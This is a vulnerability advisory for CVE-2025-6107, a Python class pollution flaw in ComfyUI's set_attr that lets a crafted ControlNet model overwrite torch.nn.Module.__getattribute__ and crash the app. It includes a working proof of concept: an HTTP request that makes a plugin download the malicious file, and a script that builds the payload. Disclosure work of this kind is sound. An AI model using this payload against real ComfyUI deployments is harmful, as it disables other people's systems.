ComfyUI is vulnerable to Class Pollution Vulnerability, Leading to DoS

ComfyUI-class-pollution.md

Summary

ComfyUI is vulnerable to python class pollution vulnerability. When a malicious controlLora model, containing the dotted pollution path in its state dict, is loaded via the controlNet loader, ComfyUI unconditionally patch model parameters based on the polluted key and their value, which can be abused leading to arbitrary internal state modification, thus achieving DoS attack.

• Status: Assigned
• CVE: CVE-2025-6107

Root Cause

The vulnerable function set_attr was designed to handle the model patching and state dict loading in the ComfyUI workflow. However, it does not limit the access and modification scope. A delicatedly crafted model can carry malicious state dict key-value pairs, such as 'time_embed.__class__.__base__.__getattribute__' = torch.rand(1) that allow attackers to modify internal class attributes in the python runtime.

# https://github.com/comfyanonymous/ComfyUI/blob/19e45e9b0e235acafc120a7532ce3825b8a325b9/comfy/utils.py#L710-L716
def set_attr(obj, attr, value):
    attrs = attr.split(".")
    for name in attrs[:-1]:
        obj = getattr(obj, name)
    prev = getattr(obj, attrs[-1])
    setattr(obj, attrs[-1], value)
    return prev

def set_attr_param(obj, attr, value):
    return set_attr(obj, attr, torch.nn.Parameter(value, requires_grad=False))

Bad actors can leverage the pollution key, like __class__.__base__.__getattribute__, to overwrite the __getattribute__ method of torch.nn.Module to a uncallable value, such as torch.rand(1), which will cause errors when attributes of the module inherited from torch.nn.Module get accessed, for __getattribute__ is a special method that always get called to implement attribute accesses for instances of the class.

Proof of Concept

• Attacker downloads the malicious controlNet model via plugins such as ComfyUI-Easy-Use

POST /easyuse/model/download HTTP/1.1
Host: proof-of-concept:8188
Cookie: csrftoken=N8r6yhMfrAdq3OmDn7P0x0xdrZ5ZrkQk
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Connection: keep-alive
Content-Length: 306

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="url"

https://huggingface.co/2h0ng/dos-poc/resolve/main/payload.safetensors
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="local_dir"

controlnet
------WebKitFormBoundary7MA4YWxkTrZu0gW--

• Attacker loads the model via the Scribble ControlNet workload template

• Select the malicious model in the ControlNet loader node

• Run the workflow. This will trigger the vulnerable function to overwrite the __getattribute__ method of torch.nn.modules.module.Module class to the value torch.rand(1). The __getattribute__ method always gets called when the object attribute gets accessed. Thus once the pollution completes, every attribute access operation on a torch.nn.Module and all its subclasses (if not override the method) will throw an uncallable error.

• After launching the attack, all the model related operation will crash.

References

For more information about class pollution please refer to:

• CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes
• Report: Django-Unicorn Class Pollution Vulnerability, Leading to RCE, XSS, DoS and Authentication Bypass
• Report: Mesop Class Pollution vulnerability leads to DoS and Jailbreak attacks
• Report: NORTIKIN SVERCHOK 1.3.0 SET PROPERTY MK2 NODE GETSETPROP_MK2.PY SVSETPROPNODEMK2 PROTOTYPE POLLUTION
• Report: Class Pollution leading to RCE in pydash
• Blog: Prototype Pollution in Python
• Blog: Class Pollution Gadgets in Jinja Leading to RCE

model_dos.py

import torch
from torch import Tensor
from safetensors.torch import save_file
from collections import OrderedDict

# Create the payload
payload = OrderedDict()
payload["state_dict"] = OrderedDict()

# Add the initial tensors
payload["state_dict"]["lora_controlnet"] = torch.rand(1)
payload["state_dict"]["input_hint_block.0.weight"] = torch.rand(3, 1)
payload['state_dict']['time_embed.__class__.__base__.__getattribute__'] = torch.rand(1)

save_file(payload["state_dict"], "payload.safetensors")